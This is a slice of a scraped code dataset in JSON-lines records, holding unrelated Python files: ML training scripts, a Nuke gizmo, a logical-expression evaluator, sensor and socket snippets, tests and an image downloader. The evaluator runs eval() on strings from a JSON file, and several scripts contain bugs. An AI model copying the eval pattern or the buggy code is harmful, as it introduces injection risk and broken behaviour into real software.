extractDeepFeat(testset)\n # writePickle(tst_encoded, './deepfeat/tst_encoded')\n # writePickle(tst_labels, './deepfeat/tst_labels')\n image = cv2.imread('./index.jpeg')\n encodeImage_deepfeat(image)\n","sub_path":"extract_deepfeat.py","file_name":"extract_deepfeat.py","file_ext":"py","file_size_in_byte":2952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"58223154","text":"import tensorflow.keras as keras\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Activation, Flatten, Conv2D, MaxPooling2D\nfrom keras.callbacks import TensorBoard\nimport pickle\nimport time\n\n# values to try in grid-search\ndense_layers = [0, 1, 2]\nlayer_sizes = [32, 64, 128]\nconv_layers = [1, 2, 3]\n\n# create a tensorboard callback to analyze the models\ntensorboard = TensorBoard(log_dir='logs/{}'.format(NAME))\n\n# Load the dataset prepared by our pipeline\nX = pickle.load(open(\"X.pickle\", \"rb\"))\ny = pickle.load(open(\"y.pickle\", \"rb\"))\n\n#scale rgb values\nX = X/255.0\n\n#each loop allows us to grid search over our specified parameters\nfor dense_layer in dense_layers:\n for layer_size in layer_sizes:\n for conv_layer in conv_layers:\n # create a name for the model\n NAME = \"{}-conv-{}-nodes-{}-dense-{}\".format(conv_layer, layer_size, dense_layer, int(itme.time()))\n\n #our convnet is a sequential model\n model = Sequential()\n \n # we want at least one conv layer\n #the kernel/window size is 3x3\n # the shape[1:] gets the size of the input datapoint\n model.add(Conv2D(layer_size, (3,3), input_shape = X.shape[1:]))\n model.add(Activation(\"relu\"))\n #pooling window has size 2x2\n model.add(MaxPooling2D(pool_size=(2,2)))\n\n #Loop that optionally stacks additional conv layers\n for l in range(conv_layer-1):\n model.add(Conv2D(layer_size, (3,3), input_shape = X.shape[1:]))\n model.add(Activation(\"relu\"))\n model.add(MaxPooling2D(pool_size=(2,2)))\n\n #flatten the model before passing to dense layers\n model.add(Flatten())\n\n #add dense layers as the search specifies\n for l in range(dense_layer):\n model.add(Dense(layer_size))\n model.add(Activation('relu'))\n\n # final classification layer that represents the decision between cat/dog\n model.add(Dense(1))\n model.add(Activation('sigmoid'))\n\n #compile the model\n model.compile(loss=\"binary_crossentropy\", optimizer=\"adam\", metrics=['accuracy'])\n # perform validation against test data. increase epochs for better trend information\n model.fit(X, y, batch_size=32, epochs=3, validation_split=0.1, callbacks=[tensorboard])\n\n #save each unique model so that you can reload it later.\n model.save(NAME)\n","sub_path":"keras/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":2543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"503676851","text":"\n\n#calss header\nclass _PAPACY():\n\tdef __init__(self,): \n\t\tself.name = \"PAPACY\"\n\t\tself.definitions = [u'the position or authority of the Pope (= the leader of the Roman Catholic Church), or the length of time that a particular person is Pope']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_papacy.py","file_name":"_papacy.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"371569900","text":"# -------------------------------------------------------------------------- #\n# ---------------------------------------------------------------- HEADER -- #\n\"\"\"\n@copyright: 2018 Kludgeworks LLC\n\n@description: functions for the pointMatte gizmo\n\n@author: Ed Whetstone\n\n@applications: NUKE\n\"\"\"\n# -------------------------------------------------------------------------- #\n# --------------------------------------------------------------- IMPORTS -- #\n\n# internal\nfrom vfx_utils.plutonium.core import decorators\nfrom vfx_utils.plutonium.core import crawl\nfrom vfx_utils.plutonium.core import move\nfrom vfx_utils.plutonium.core import filters\n\nimport vfx_utils.omni.metrics as metrics\n\n# domain\nimport nuke\n\n# -------------------------------------------------------------------------- #\n# --------------------------------------------------------------- GLOBALS -- #\nVERSION = '3.1'\nDEBUG_VERSION = '3.1.1'\n\nAPP_NAME = \"gizmo_pointMatte\"\n\nmetrics.log_usage(APP_NAME)\n\n# -------------------------------------------------------------------------- #\n# ------------------------------------------------------------- FUNCTIONS -- #\n@decorators.this_node\ndef add_point(node=None):\n \"\"\"add a pointmatte to the gizmo\"\"\"\n with node:\n\n # ------------------- Setup ---------------------------------- #\n builder = nuke.toNode('builder_dot')\n start_position = crawl.up(builder)[0]\n point_nodes = [int(n.name()[-1]) for n\n in filters.by_class(key='pointMatte')]\n point_num = (max(point_nodes) + 1) if point_nodes else 1\n prefix = 'point_{}'.format(point_num)\n\n # ------------------- Create Nodes --------------------------- #\n point_matte = nuke.nodes.rfxPointMatte()\n point_matte.setName(prefix)\n merge_points = nuke.nodes.Merge2(operation='plus')\n merge_points.setName(prefix + '_merge')\n\n # ------------------- Move Into Position --------------------- #\n move.left(point_matte, start_position)\n move.under(merge_points, start_position)\n\n # ------------------- Set Up Connections --------------------- #\n point_matte.setInput(0, start_position)\n merge_points.setInput(0, start_position)\n merge_points.setInput(1, point_matte)\n builder.setInput(0, merge_points)\n\n # ------------------- Knobs and Expressions ------------------ #\n knoblist = ['hr', 'Position_value', 'Position_dropper', 'type', 'hr',\n 'rotate_TXT', 'xSlider', 'ySlider', 'zSlider', 'hr',\n 'scale_TXT', 'overall_scale', 'scale_x', 'scale_y',\n 'scale_z', 'hr', 'feather', 'hr', 'Gamma1_value', 'hr',\n 'massage', 'hr']\n new_tab = nuke.Tab_Knob('_'.join((prefix, 'controls')))\n node.addKnob(new_tab)\n merge_op_knob = nuke.Link_Knob('_'.join((prefix, 'merge_op')))\n merge_op_knob.setLink(merge_points.name() + '.operation')\n merge_op_knob.setLabel('operation')\n node.addKnob(merge_op_knob)\n merge_mix_knob = nuke.Link_Knob('_'.join((prefix, 'merge_mix')))\n merge_mix_knob.setLink(merge_points.name() + '.mix')\n merge_mix_knob.setLabel('mix')\n node.addKnob(merge_mix_knob)\n for k in knoblist:\n if k == 'hr':\n knob = nuke.Text_Knob('')\n knob.setName('_'.join((prefix, 'hr')))\n knob.setLabel('')\n else:\n knob = nuke.Link_Knob('_'.join((prefix, k)))\n knob.setLink('.'.join((point_matte.name(), k)))\n knob.setLabel(point_matte[k].label())\n if k == 'massage':\n knob.setLabel(k)\n node.addKnob(knob)\n del_button = nuke.PyScript_Knob('_'.join((prefix, 'del')))\n del_button.setLabel('Remove Point')\n del_button.setValue('from vfx_utils.plutonium.gizmos import pointmatte\\n'\n 'pointmatte.delete_point(point_num={})\\n'\n ''.format(point_num))\n node.addKnob(del_button)\n\n@decorators.this_node\ndef delete_point(node=None, point_num=1):\n \"\"\"remove a point that was previously added\"\"\"\n with node:\n prefix = 'point_{}'.format(point_num)\n rm_nodes = [n for n in nuke.allNodes() if prefix in n.name()]\n for rmn in rm_nodes:\n nuke.delete(rmn)\n rm_knobs = [knob for knob in node.allKnobs() if prefix in knob.name()]\n for rmk in rm_knobs:\n node.removeKnob(rmk)\n\n# -------------------------------------------------------------------------- #\n# --------------------------------------------------------------- CLASSES -- #\n","sub_path":"plutonium/gizmos/pointmatte.py","file_name":"pointmatte.py","file_ext":"py","file_size_in_byte":4672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"638978378","text":"import tensorflow as tf\nfrom inception_resnet_v2 import inception_resnet_v2, inception_resnet_v2_arg_scope\nimport os\nimport read_image\ntrain_image_size = 299\nCHANAL = 3\nclassnum = 8\n\nslim = tf.contrib.slim\nwith tf.name_scope('input'):\n x_input = tf.placeholder(dtype=tf.float32, shape=[None, train_image_size, train_image_size, CHANAL])\n y_input = tf.placeholder(dtype=tf.float32, shape=[None, classnum])\nwith tf.name_scope('model'):\n with slim.arg_scope(inception_resnet_v2_arg_scope()):\n logits, end_points = inception_resnet_v2(x_input, classnum, is_training=False)\nwith tf.name_scope('accuracy'):\n accuracy = tf.reduce_mean(tf.cast(tf.equal(tf.arg_max(y_input, 1), tf.arg_max(end_points['Predictions'], 1)), tf.float32))\n\n\nwith tf.name_scope('input_val_image'):\n test_file_path = os.path.join('F:/alicloth/base/trceshi/coat_length_labels/validation/validation_00000.tfrecords')\n test_image_filename_queue = tf.train.string_input_producer(tf.train.match_filenames_once(test_file_path))\n test_images, test_labels = read_image.read_val_tfrecord(test_image_filename_queue, classnum, 10)\n\nsaver = tf.train.Saver()\n\nwith tf.Session() as sess:\n sess.run(tf.local_variables_initializer())\n ckpt = tf.train.get_checkpoint_state('F:/alicloth/base/trained_model/coat')\n if ckpt and ckpt.model_checkpoint_path:\n saver.restore(sess, ckpt.model_checkpoint_path)\n print(\"restored %s\" % ckpt.model_checkpoint_path)\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(coord=coord)\n acc_mun = 0\n ia = 0\n for i in range(int(1133/10)):\n testimages, testlabels = sess.run([test_images, test_labels])\n acu, pro = sess.run([accuracy, end_points['Predictions']], feed_dict={x_input: testimages, y_input: testlabels})\n acc_mun += acu\n print(acu)\n print(pro)\n ia += 1\n print(acc_mun/ia)\n coord.request_stop()\n coord.join(threads)","sub_path":"mainval.py","file_name":"mainval.py","file_ext":"py","file_size_in_byte":1944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"236917276","text":"\ndef permutations(s):\n lst = list(s)\n return permutations2(lst, 0, len(lst)-1)\n\ndef permutations2(s, start, end):\n rtn = []\n if start == end: \n return [''.join(s)]\n else: \n for i in range(start, end+1):\n s[start], s[i] = s[i], s[start]\n for p in permutations2(s, start+1, end): \n rtn.append(p)\n s[start], s[i] = s[i], s[start]\n return rtn\n \nprint(permutations('ABC'))","sub_path":"permutations2.py","file_name":"permutations2.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"567625608","text":"# 692. 前K个高频单词\nimport collections\n\n\nclass Solution:\n\n # 统计,然后维护一个最小堆\n def topKFrequent(self, words: list[str], k: int) -> list[str]:\n def minHeap(heap, k, word, w_map):\n if heap:\n temp = []\n while heap:\n w = heap.pop()\n if w_map.get(w) < w_map.get(word) or (w_map.get(w) == w_map.get(word) and word < w):\n temp.append(w)\n else:\n heap.append(w)\n heap.append(word)\n break\n if len(heap) == 0:\n heap.append(word)\n for i in temp[::-1]:\n heap.append(i)\n else:\n heap.append(word)\n while len(heap) > k:\n heap.pop()\n\n w_map = {}\n for w in words:\n if w not in w_map:\n w_map[w] = 0\n else:\n w_map[w] += 1\n res = collections.deque()\n for w in w_map.keys():\n minHeap(res, k, w, w_map)\n return list(res)\n\n\nif __name__ == '__main__':\n # print(Solution().topKFrequent([\"i\", \"love\", \"leetcode\", \"i\", \"love\", \"coding\"],3))\n print(Solution().topKFrequent([\"the\", \"day\", \"is\", \"sunny\", \"the\", \"the\", \"the\", \"sunny\", \"is\", \"is\"], 4))","sub_path":"answers/topKFrequent.py","file_name":"topKFrequent.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"318760926","text":"\n''' \n\t@synopsis - Entry point for Logical Expression Evaluator\n\t@author - Saurabh S.\n'''\n\nimport sys\nimport json\n# from pprint import pprint\nfrom argparse import Namespace\nfrom collections import namedtuple\nimport six\n\n\nOPERATORS = {'EQ','AND','NOT','OR','GT','LT'}\t\t\t# List of all supported operators\n\nUSER_DAT_FILE = \"data.json\"\t\t\t\t\t\t\t\t# Filename for User data\nOPDAT_FILE = \"opdat.json\"\t\t\t\t\t\t\t\t# Filename for operation data\n\n# Read the user data file and create named tuples allow Dot operation on python dictionary\n# instead of python dictionary based access\nwith open(USER_DAT_FILE, 'r') as myfile:\n data=json.load(myfile, object_hook=lambda d: namedtuple('X', d.keys())(*d.values()))\n\n# Create user object for direct reference for the data read from user data json file\nuser = data[0].user\n\n\n\n# Read the operation data from file\nwith open(OPDAT_FILE) as dataFile: \n opData = json.load(dataFile)\n\n\n# Equals operator\n# Currently assumes the arguments passed are only a list of 2\ndef EQ(vals):\n\n\tif len(vals) is not 2:\n\t\tprint(\"Invalid arguments for Equals operator\")\n\t\treturn False\n\n\t# Recursively try to evaluate passed arguments\n\tval1 = execute(vals[0])\n\tval2 = execute(vals[1])\n\n\t# To ensure arithemetic comparison, convert strings objects to integers\n\tif isinstance(val1, six.string_types) and val1.isdigit(): val1 = int(val1)\n\tif isinstance(val2, six.string_types) and val2.isdigit(): val2 = int(val2)\n\treturn val1 == val2\n\n# Logical AND operator\n# Currently assumes the arguments passed are is list of 2 elements\ndef AND(vals):\n\t# print(\"AND: \",execute(vals[0]),execute(vals[1]))\n\t# execute(vals[1])\n\t# return val1 and val2\n\tif len(vals) is not 2:\n\t\tprint(\"Invalid arguments for AND operator\")\n\t\treturn False\n\n\t# Recursively try to evaluate passed arguments\n\tval1 = execute(vals[0])\n\tval2 = execute(vals[1])\n\n\t# To ensure arithemetic comparison, convert strings objects to integers\n\tif isinstance(val1, six.string_types) and val1.isdigit(): val1 = int(val1)\n\tif isinstance(val2, six.string_types) and val2.isdigit(): val2 = int(val2)\n\n\treturn val1 and val2\n\n# OR operator\n# Currently assumes the arguments passed are is list of 2 elements\ndef OR (vals):\n\t# return val1 or val2\n\tif len(vals) is not 2:\n\t\tprint(\"Invalid arguments for OR operator\")\n\t\treturn False\n\n\t# Recursively try to evaluate passed arguments\n\tval1 = execute(vals[0])\n\tval2 = execute(vals[1])\n\n\t# To ensure arithemetic comparison, convert strings objects to integers\n\tif isinstance(val1, six.string_types) and val1.isdigit(): val1 = int(val1)\n\tif isinstance(val2, six.string_types) and val2.isdigit(): val2 = int(val2)\n\n\treturn val1 or val2\n\n# NOT operator\n# Currently assumes the arguments passed are is list of 1 element\ndef NOT (vals):\n\tif len(vals) is not 1:\n\t\tprint(\"Invalid arguments for NOT operator\")\n\t\treturn False\n\t# Recursively try to evaluate passed arguments\n\tval1 = execute(vals[0])\n\n\t# To ensure arithemetic comparison, convert strings objects to integers\n\tif isinstance(val1, six.string_types) and val1.isdigit(): val1 = int(val1)\n\n\treturn not val1\n\n# Greater Than operator\n# Currently assumes the arguments passed are is list of 2 elements\ndef GT(vals):\n\n\tif len(vals) is not 2:\n\t\tprint(\"Invalid arguments for Greater Than operator\")\n\t\treturn False\n\n\t# Recursively try to evaluate passed arguments\n\tval1 = execute(vals[0])\n\tval2 = execute(vals[1])\n\n\t# To ensure arithemetic comparison, convert strings objects to integers\n\tif isinstance(val1, six.string_types) and val1.isdigit(): val1 = int(val1)\n\tif isinstance(val2, six.string_types) and val2.isdigit(): val2 = int(val2)\n\n\treturn val1 > val2\n\n# Less Than operator\n# Currently assumes the arguments passed are is list of 2 elements\ndef LT(vals):\n\tif len(vals) is not 2:\n\t\tprint(\"Invalid arguments for Less Than operator\")\n\t\treturn False\n\n\t# Recursively try to evaluate passed arguments\n\tval1 = execute(vals[0])\n\tval2 = execute(vals[1])\n\n\t# To ensure arithemetic comparison, convert strings objects to integers\n\tif isinstance(val1, six.string_types) and val1.isdigit(): val1 = int(val1)\n\tif isinstance(val2, six.string_types) and val2.isdigit(): val2 = int(val2)\n\n\treturn val1 < val2\n\n\n# Parser function to evaluate an expression.\n# expr - Expression to evaluate\ndef execute(expr):\n\tresult = None\n\toperation = expr\n\n\t# If passed expression is a single element, add it to an empty list\n\tif type(operation) is not list: \n\t\toperation = [str(expr)]\n\n\t# if first element is in the list of operators\n\tif any(operation[0] in s for s in OPERATORS):\n\t\t# Use reflection to invoke the related expression\n\t\toperand = getattr(sys.modules[__name__],str(operation[0]))\n\t\tif hasattr(operand, '__call__'):\n\t\t\tresult = operand(operation[1:])\t\t# invoke the function with rest of arguments\n\telse:\t\t\t\t\t\t\t\t\t\t# else it is a list of argument\n\t\ttry:\n\t\t\toperand = eval(operation[0])\t\t# Check if argument can be evaluated, E.g. user.age\n\t\texcept:\n\t\t\toperand = operation[0]\t\t\t\t# If evaluation fails, then treat it as raw value\n\t\treturn operand\n\treturn result # return result of operand\n\n\n\n\n\nif __name__ == '__main__':\n\tprint(execute (opData))\n","sub_path":"python/logexopr/Logical expression evaluator/logExEvaluator.py","file_name":"logExEvaluator.py","file_ext":"py","file_size_in_byte":5100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"551344631","text":"import socket\r\n\r\nHOST = '127.0.0.1' # The server's hostname or IP address\r\nPORT = 65432 # The port used by the server\r\n\r\nclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\r\nclient.connect((HOST, PORT))\r\nclient.sendall(b'Hello, world')\r\ndata = client.recv(1024)\r\n\r\nprint('Received', repr(data))","sub_path":"echo-client.py","file_name":"echo-client.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"393392870","text":"\"\"\"\n -*- coding: utf-8 -*-\n\n Copyright (C) 2019-2020 Deibson Carvalho (deibsoncarvalho)\n\n This program is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see \n\"\"\"\nfrom pyiqoptionapi.ws.objects.base import Base\nfrom threading import RLock\nfrom _collections import defaultdict, deque\nimport pyiqoptionapi.helpers.constants as OP_code\nimport logging\nfrom functools import lru_cache\nfrom pyiqoptionapi.helpers.decorators import ThreadedMethod\n\n\nclass LiveDeals(Base):\n\n def __init__(self):\n super(LiveDeals, self).__init__()\n self._lock_all = RLock()\n self._lock_queue = RLock()\n self._all_deals = defaultdict(list)\n self._queue_live_deals = defaultdict(deque)\n\n @staticmethod\n @lru_cache(maxsize=64)\n def __get_active_name(active_id) -> str:\n \"\"\"Internal function for get active name by ID\n\n Retrieves string of active name.\n\n Args:\n active_id: (int) id of active\n\n Returns:\n A string For example: 'EURUSD'\n\n Raises:\n IndexError: An error occurred accessing the dict of Actives ID.\n \"\"\"\n actives = OP_code.ACTIVES\n try:\n return list(actives.keys())[list(actives.values()).index(active_id)]\n except IndexError:\n logging.error('get-active-name-by-id -> index error -> active_id: {}'.format(active_id))\n\n def get_all_deals(self, active) -> list:\n \"\"\"Function to return all registered trades for the specified asset for the current session\n\n Returns a list containing a dict with the registered trade data.\n\n Args:\n active: (string) id of active\n\n Returns:\n A list of dict with keys: 'active_id', 'amount_enrolled', 'avatar', 'country_id',\n 'created_at', 'direction', 'expiration', 'flag', 'is_big', 'name', 'option_id', 'option_type',\n 'user_id', 'brand_id'.\n\n For example:\n\n [{'active_id': 1, 'amount_enrolled': 6.0, 'avatar': '', 'country_id': 205, 'created_at': 1597403952000,\n 'direction': 'call', 'expiration': 1597404000000, 'flag': 'AE', 'is_big': False,\n 'name': 'Obaid S. O. H. A.', 'option_id': 7190473575, 'option_type': 'turbo', 'user_id': 7262400,\n 'brand_id': 1},\n {'active_id': 1, 'amount_enrolled': 35.0, 'avatar': '', 'country_id': 180,\n 'created_at': 1597403952000, 'direction': 'call', 'expiration': 1597404000000, 'flag': 'ZA',\n 'is_big': False, 'name': 'Ephraim G.', 'option_id': 7190473547, 'option_type': 'turbo', 'user_id': 12590610,\n 'brand_id': 1}]\n\n Raises:\n KeyError: An error occurred accessing the dict of deals. Invalid active or not registed deals for\n current session\n \"\"\"\n try:\n with self._lock_all:\n return self._all_deals[active]\n except KeyError:\n logging.error('asset {} invalid'.format(active))\n return []\n\n def get_live_deals(self, active, buffer) -> deque:\n \"\"\"Function to return all registered trades for the specified asset for the current session\n\n Returns a deque containing a dict of live deals returned of IQ Option server\n\n Args:\n active: (string) name of active\n buffer: (int) number of return deals for call\n\n Returns:\n A deque of dict with keys:\n\n Binary or Turbo: 'active_id', 'amount_enrolled', 'avatar', 'country_id',\n 'created_at', 'direction', 'expiration', 'flag', 'is_big', 'name', 'option_id', 'option_type',\n 'user_id', 'brand_id'.\n\n Digital: 'amount_enrolled','avatar','country_id','created_at', 'expiration_type','flag',\n 'instrument_active_id','instrument_dir', 'instrument_expiration','is_big','name','position_id',\n 'user_id','brand_id'.\n\n For example:\n\n Binary or Turbo:\n ({'active_id': 1, 'amount_enrolled': 6.0, 'avatar': '', 'country_id': 205,\n 'created_at': 1597403952000, 'direction': 'call', 'expiration': 1597404000000, 'flag': 'AE',\n 'is_big': False, 'name': 'Obaid S. O. H. A.', 'option_id': 7190473575, 'option_type': 'turbo',\n 'user_id': 7262400, 'brand_id': 1})\n\n Digital:\n ({\"amount_enrolled\":6.0,\"avatar\":\"\",\"country_id\":30,\"created_at\":1597413960301,\n \"expiration_type\":\"PT1M\",\"flag\":\"BR\",\"instrument_active_id\":1,\"instrument_dir\":\"put\",\n \"instrument_expiration\":1597414020000,\"is_big\":true,\"name\":\"William O.\",\"position_id\":12004821753,\n \"user_id\":76200274,\"brand_id\":1})\n\n Raises:\n KeyError: An error occurred accessing the dict of deals. Invalid active or not registed deals for\n current session\n \"\"\"\n response = deque()\n try:\n total = len(self._queue_live_deals[active])\n except KeyError:\n logging.error('asset {} invalid'.format(active))\n return response\n if total == 0:\n return response\n for _ in range(buffer if total > buffer > 0 else total):\n with self._lock_queue:\n deal = self._queue_live_deals[active].pop()\n response.appendleft(deal)\n with self._lock_all:\n self._all_deals[active].append(deal)\n return response\n\n @ThreadedMethod\n def set_live_deals(self, message):\n \"\"\" get new deals of websocket client \"\"\"\n try:\n if 'option_type' in message.keys():\n # binary or turbo\n active_name = self.__get_active_name(message[\"active_id\"])\n else:\n # digital\n active_name = self.__get_active_name(message[\"instrument_active_id\"])\n with self._lock_queue:\n self._queue_live_deals[active_name].append(message)\n except KeyError:\n logging.error('set-live-deals -> invalid message -> {}'.format(message))\n","sub_path":"pyiqoptionapi/ws/objects/live_deals.py","file_name":"live_deals.py","file_ext":"py","file_size_in_byte":6794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"575883684","text":"import RPI.GPIO as GPIO\nimport time\n\nclass distanceSensor:\n def __init__(self, TRIGGER, ECHO):\n GPIO.setwarnings(False)\n GPIO.setmode(GPIO.BCM)\n self.GPIO_TRIGGER = TRIGGER\n self.GPIO_ECHO = ECHO\n\n GPIO.setup(self.GPIO_TRIGGER, GPIO.OUT)\n GPIO.setup(self.GPIO_ECHO, GPIO.IN)\n\n def getDistance(self):\n GPIO.output(self.GPIO_TRIGGER, True)\n time.sleep(0.00001)\n GPIO.output(self.GPIO_TRIGGER, False)\n\n startTime = time.time()\n stopTime = time.time()\n\n while GPIO.input(self.GPIO_ECHO) == 0:\n startTime = time.time()\n if stopTime - startTime > 1:\n break\n\n timeElasped = stopTime - startTime\n distance = (timeElasped * 34300) / 2\n\n if distance < 0 or distance > 1000:\n return 0\n return distance","sub_path":"Hexapod_AI/distanceSensor.py","file_name":"distanceSensor.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"110109634","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\n\"\"\"\nTest cases for filename deconstruction\n\n\ntestsuite by Jerome Kieffer (Jerome.Kieffer@esrf.eu)\n28/11/2014\n\"\"\"\nfrom __future__ import print_function, with_statement, division, absolute_import\nimport unittest\nimport sys\nimport os\n\ntry:\n from .utilstest import UtilsTest\nexcept (ValueError, SystemError):\n from utilstest import UtilsTest\n\nlogger = UtilsTest.get_logger(__file__)\nfabio = sys.modules[\"fabio\"]\n\nCASES = [\n (1, 'edf', \"data0001.edf\"),\n (10001, 'edf', \"data10001.edf\"),\n (10001, 'edf', \"data10001.edf.gz\"),\n (10001, 'edf', \"data10001.edf.bz2\"),\n (2, 'marccd', \"data0002.mccd\"),\n (12345, 'marccd', \"data12345.mccd\"),\n (10001, 'marccd', \"data10001.mccd.gz\"),\n (10001, 'marccd', \"data10001.mccd.bz2\"),\n (123, 'marccd', \"data123.mccd.gz\"),\n (3, 'tif', \"data0003.tif\"),\n (4, 'tif', \"data0004.tiff\"),\n (12, 'bruker', \"sucrose101.012.gz\"),\n (99, 'bruker', \"sucrose101.099\"),\n (99, 'bruker', \"sucrose101.0099\"),\n (99, 'bruker', \"sucrose101.0099.bz2\"),\n (99, 'bruker', \"sucrose101.0099.gz\"),\n (2, 'fit2dmask', \"fit2d.msk\"),\n (None, 'fit2dmask', \"mymask.msk\"),\n (670005, 'edf', 'S82P670005.edf'),\n (670005, 'edf', 'S82P670005.edf.gz'),\n # based on only the name it can be either img or oxd\n (1 , 'adsc_or_OXD_or_HiPiC_or_raxis' , 'mb_LP_1_001.img'),\n (2 , 'adsc_or_OXD_or_HiPiC_or_raxis' , 'mb_LP_1_002.img.gz'),\n (3 , 'adsc_or_OXD_or_HiPiC_or_raxis' , 'mb_LP_1_003.img.bz2'),\n (3 , 'adsc_or_OXD_or_HiPiC_or_raxis' , os.path.join(\"data\", 'mb_LP_1_003.img.bz2')),\n ]\n\n\nMORE_CASES = [\n (\"data0010.edf\", \"data0012.edf\", 10),\n (\"data1000.pnm\", \"data999.pnm\", 1000),\n (\"data0999.pnm\", \"data1000.pnm\", 999),\n (\"data123457.edf\", \"data123456.edf\", 123457),\n (\"d0ata000100.mccd\", \"d0ata000012.mccd\", 100),\n (os.path.join(\"images/sampledir\", \"P33S670003.edf\"),\n os.path.join(\"images/sampledir\", \"P33S670002.edf\"), 670003),\n (os.path.join(\"images/P33S67\", \"P33S670003.edf\"),\n os.path.join(\"images/P33S67\", \"P33S670002.edf\"), 670003),\n (\"image2301.mar2300\", \"image2300.mar2300\", 2301),\n (\"image2300.mar2300\", \"image2301.mar2300\", 2300),\n (\"image.0123\", \"image.1234\", 123),\n (\"mymask.msk\", \"mymask.msk\", None),\n (\"data_123.mccd.bz2\", \"data_001.mccd.bz2\", 123)\n ]\n\n\nclass TestFilenames(unittest.TestCase):\n \"\"\" check the name -> number, type conversions \"\"\"\n\n def test_many_cases(self):\n \"\"\" loop over CASES \"\"\"\n for num, typ, name in CASES:\n obj = fabio.FilenameObject(filename=name)\n self.assertEqual(num, obj.num, name + \" num=\" + str(num) + \\\n \" != obj.num=\" + str(obj.num))\n self.assertEqual(typ, \"_or_\".join(obj.format),\n name + \" \" + \"_or_\".join(obj.format))\n self.assertEqual(name, obj.tostring(), name + \" \" + obj.tostring())\n\n def test_more_cases(self):\n for nname, oname, num in MORE_CASES:\n name = fabio.construct_filename(oname, num)\n self.assertEqual(name, nname)\n\n def test_more_cases_jump(self):\n for nname, oname, num in MORE_CASES:\n name = fabio.jump_filename(oname, num)\n self.assertEqual(name, nname)\n\n\ndef test_suite_all_filenames():\n testSuite = unittest.TestSuite()\n\n testSuite.addTest(TestFilenames(\"test_many_cases\"))\n testSuite.addTest(TestFilenames(\"test_more_cases\"))\n testSuite.addTest(TestFilenames(\"test_more_cases_jump\"))\n\n return testSuite\n\nif __name__ == '__main__':\n\n mysuite = test_suite_all_filenames()\n runner = unittest.TextTestRunner()\n runner.run(mysuite)\n","sub_path":"test/testfilenames.py","file_name":"testfilenames.py","file_ext":"py","file_size_in_byte":3712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"543245208","text":"import csv\nimport urllib\nimport urllib.request as ur\nfrom urllib.error import URLError, HTTPError\n\ndef extract_rows(sheet_data):\n lst = []\n for row in sheet_data:\n lst.append(row)\n return lst\n\ndef main(workbook,col1,col2,col3):\n rfile = open(workbook + '.csv', 'r')\n csv_read = csv.reader(rfile)\n wfile = open(workbook + '_new' + '.csv', 'w', newline='')\n csv_write = csv.writer(wfile)\n lst_of_rows = extract_rows(csv_read)\n lst_of_rows[0][col1] = \"\"\n lst_of_rows[0][col2] = \"\"\n lst_of_rows[0][col3] = \"\"\n csv_write.writerow(lst_of_rows[0])\n write_data(lst_of_rows[1:], csv_write, col1,col2,col3)\n rfile.close()\n wfile.close()\n print(\"Your New spreadsheet is ready under the name \" + workbook + \"_new.csv\")\n\ndef write_data(lor, wrt, c1, c2, c3):\r\n #print(lor[1])\n prefix = 0\n for rw in lor:\n prefix += 1\n lou = list(set([rw[c1], rw[c2], rw[c3]]))\n new_values = image_downloader(rw, lou, prefix)\n rw[7] = new_values[0]\r\n rw[8] = new_values[1]\n rw[c1] = \"\"\n rw[c2] = \"\"\n rw[c3] = \"\"\n wrt.writerow(rw)\n \ndef get_extension(s):\n indx = s.rfind(\".\")\n if indx == -1:\n print(\"No extension for \" + s)\n ext = \".EXTENTION\"\n else:\n ext = s[indx: indx + 4]\n if ext == \".jpe\":\n ext = \".jpeg\"\n return ext\n\ndef image_downloader(my_row, lst_of_url, main):\r\n sub = 0\r\n img_lst = []\n for u in lst_of_url:\n print(u)\n if u != \"\":\r\n sub += 1\n try:\n user_agent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7'\n headers= {'User-Agent':user_agent,} \n r = ur.Request(u, None, headers) \n img = ur.urlopen(r)\n except urllib.error.URLError:\n print(my_row[4] + \" ==> \" + 'URL Not Working: ' + u)\n else:\n rename = str(main) + '-' + str(sub) + get_extension(u)\n f = open(rename,'wb')\n f.write(img.read())\n f.close()\r\n img_lst.append(rename)\r\n top_picture = ''\r\n for i in img_lst:\n print(i)\r\n top_picture = top_picture + \"; 